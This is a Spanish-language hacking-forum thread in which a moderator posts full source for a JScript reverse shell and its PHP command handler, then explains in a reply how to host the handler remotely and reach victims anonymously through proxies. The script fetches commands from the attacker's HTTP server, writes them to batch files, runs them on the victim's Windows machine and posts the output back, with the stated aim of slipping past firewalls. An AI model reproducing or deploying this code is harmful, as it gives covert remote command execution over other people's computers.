elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
14 Marzo 2010, 20:23  


Temas destacados: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  Reverse-Shell a servidor HTTP usando WSH (anonimato-firewall)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Reverse-Shell a servidor HTTP usando WSH (anonimato-firewall)  (Leído 4286 veces)
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 6.336


HAND


Ver Perfil WWW
Reverse-Shell a servidor HTTP usando WSH (anonimato-firewall)
« en: 17 Febrero 2006, 09:05 »

Código:
/*********************************************************
*          JSCRIPT - REVERSE SHELL
*        THIS LITTLE PROGRAM WILL CONNECT TO A HANDLER
* IN AN HTTP SERVER, THE COMMANDS TO EXECUTE IN
* THE VICTIM'S MACHINE WILL BE RECEIVED WITH XML
* -HTTP, SO THE FIREWALL SHOULDNT ALERT ANYTHING
* THE VARIABLES USED ARE:
* - SND-POST (p) = last command output
* - RECV-HEADER (comando) = command to execute
* (c) "Sirdarckcat-(Elhacker.Net)" (2005)
* This program is distributed under the GPL of GNU, with just
* this signature as invariant text, a copy of this licence can be
* found at http://www.gnu.org/.
* Any comments at:
* sirdarckcat [at] gma¡l [dot] com
*
*
* Use: just double click it
*
* This program is distributed "as is", with no warranty, and I am
* not responsable of any damage caused by primary or secundary
* efects of this program.
*
*-------------------------- HANDLER EXAMPLE -----------------------------*
<?php
// (c) Sirdarckcat-(elhacker.net) (2005)
//
// die("STOP!!");   //PARA DETENER EN CASO DE ERROR
function attack($q){
$default=urlencode("EXIT");
if($q){
$fz=filesize("commlog.txt");
$logg = fopen("commlog.txt","r");
$todo = fread($logg,$fz);
$todo = "\t".urlencode($q)."\n".$todo;
fclose($logg);
$logg = fopen("commlog.txt","w");
fwrite($logg,$todo);
fclose($logg);
echo "<a href=\"javascript:top.location.href=top.location.href;\">Fresca</a><!--";
readfile("commlog.txt");
echo "</xmp>
<script>
setTimeout('document.links[0].click();',1337);
</script>";
}elseif(isset($_GET['f'])){
echo "<a href=\"javascript:top.location.href=top.location.href;\">Fresca</a><!--";
readfile("commlog.txt");
echo "</xmp>
<script>
setTimeout('document.links[0].click();',1337);
</script>";
}else{
$logg = fopen("commlog.txt","r");
$todo = fread($logg,filesize("commlog.txt"));
$todo = "\t".urlencode($default)."\n".$todo."\n";
fclose($logg);
$logg = fopen("commlog.txt","w");
fwrite($logg,$todo);
fclose($logg);
?>
<html>
<center><iframe src="shell.php?a=1&f=1" name="pkdo" width="100%" height="85%"></iframe><hr>
<form method="POST" target="pkdo" action="shell.php?a=1">
<b>Comandos:</b> <textarea name="c"></textarea><br>
<input type="Submit" value="Entrar">
</form>
</center>
</html>
<?php
}
}

function victim(){
$default=urlencode("echo .ERASEME.");
$response=urldecode((isset($_POST['p']))?$_POST['p']:"Start!!");
$logg = fopen("commlog.txt","r");
$com = fscanf($logg, "\t%s\n");
$com = ($com[0])?$com[0]:$default;
header("Comando: $com");
fclose($logg);
$logg = fopen("commlog.txt","a");
if(strlen(trim($response))){
fwrite($logg,"\n<<".$response);
}
fclose($logg);
if($com!=$default){
$fz=filesize("commlog.txt");
$logg = fopen("commlog.txt","r");
$todo = fread($logg,$fz);
$todo = "\t".$default."\n".$todo."\n";
fclose($logg);
$logg = fopen("commlog.txt","w");
fwrite($logg,$todo);
fclose($logg);
}
print_r($_POST);
die("$com");
}

if (isset($_GET['a'])){
if(isset($_POST['c'])){
attack($_POST['c']);
}else{
attack(0);
}
}else{
if(isset($_POST['p'])){
victim();
}else{
victim();
}
}
?>
*********************************************************/
var xh = new ActiveXObject("msxml2.XMLHTTP"); // XmlHttp
var ws = new ActiveXObject("WScript.Shell"); // WScript.Shell
var fs = new ActiveXObject("Scripting.FileSystemObject"); // FSO
var path = "C:\\SYSTEM32\\"; // Dirección local para archivos temporales
var server = "127.0.0.1"; // Servidor
var port = "80"; // Puerto
var pag = "shell.php"; // Ruta al handler
function reverse_shell(sh){
if(fs.FileExists(path+"log.log")){ //Vemos si es la primera vez
// Leemos el contenido del archivo
sn = fs.OpenTextFile(path+"log.log", 1);
sx = sn.ReadAll();
sn.Close();
sn=sx.split(".ERASEME.").join("");
}else{
sh = "md "+path+"&echo Inicio>"+path+"log.log"; // Creamos la carpeta
sn = "Inicio" // Mandamos que es el principio
sw = fs.OpenTextFile(path+"r.bat", 2, 1); //Guardamos instrucciones en un batch
sw.Write(unescape("@echo on%0d%0a@cd \\%0d%0a"+path+"batch.bat>"+path+"log.log%0d%0aecho .ERASEME.>"+path+"log.log"));
sw.Close();
}
xh.open("POST","http://"+server+":"+port+"/"+pag,0);
xh.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xh.send("p="+escape(sn)); // mandamos el mensaje y recibimos el comando
if(!sh)
sh = unescape(xh.getResponseHeader("Comando")).split("+").join(" ");
//alert(sh+"::::::::"+xh.ResponseText);   // PARA DEBUG
sw = fs.OpenTextFile(path+"batch.bat", 2, 1); //Guardamos instrucciones en un batch
sw.Write(sh);
sw.Close();
ws.Run(path+"r.bat"); // Ejecutamos
if(sh){
ws.Sleep(5000);
reverse_shell(); // Loop
}
}
reverse_shell();

una vez configurado para conectarse al servidor, solo damos doble click, y al entrar a:
http://servidor.com/shell.php?a=a
podremos enviar comandos a la victima.
estaba trabajando en una version con ajax, para no tener que andar "refrescando" la pagina, pero.. ya me canse, son las 2 de la mañana aqui en Mexico..
Esta opcion les sirve para los que necesiten una shellcode, pero tengan un firewall muy molesto.. en servidores ASP, funciona a la perfección, ya que dan acceso a wscript.exe por defecto.

Saludos!!

/* Hay 2 errores facil identificables.. una instrucción no existe, y en otro me falta especificar una variable.. los que saben no tardaran en darse cuenta. */
« Última modificación: 17 Febrero 2006, 16:21 por Sirdarckcat » En línea

libertador_23

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: Reverse-Shell a servidor HTTP usando WSH (anonimato-firewall)
« Respuesta #1 en: 17 Febrero 2006, 13:29 »

Sirdarckcat me podrias explicar con más profundidad como funciona este exploit?Con un ejemplo y tal es que a veces me cuesta y los ejemplos me van muy bien, eso si...si usted quiere eh?solo faltaria!;-)un saludo!!!Aqui tienes un compatriota Pueblerino;-)


PD: VIVA Mexico cabroneeeeeeees!!
En línea
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 6.336


HAND


Ver Perfil WWW
Re: Reverse-Shell a servidor HTTP usando WSH (anonimato-firewall)
« Respuesta #2 en: 17 Febrero 2006, 16:08 »

No es exploit..
es una shell, para servidores microsoft..
esta como ven no es ejecutable, sino que es un script en js, puedes ponerlo en un HTA, o correrlo directamente, incluso en HTML si encuentran alguna vulnerabilidad en IExplorer, para ejecutar archivos en contexto de zona local.

De hecho lo hize para poder mandar comandos a multiples maquinas simultaneamente, :P asi te ahorras mucho.. ademas que es mas anónimo, porque puedes entrar al handler atravez de proxy-chaining.. y no te conectas directamente a la victima.

haber explico.. subes la sección del handler a tu servidor, o lo pones en htdocs en localhost.
configuras el JS para que se conecte, por ejemplo, si tu handler esta en:
http://usuarios.lycos.es/soychingon/shell.php

configuras el JS asi:
Código:
var server = "usuarios.lycos.es"; // Servidor
var port = "80"; // Puerto
var pag = "soychingon/shell.php"; // Ruta al handler

espero haber aclarado tu duda.

Saludos!!
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC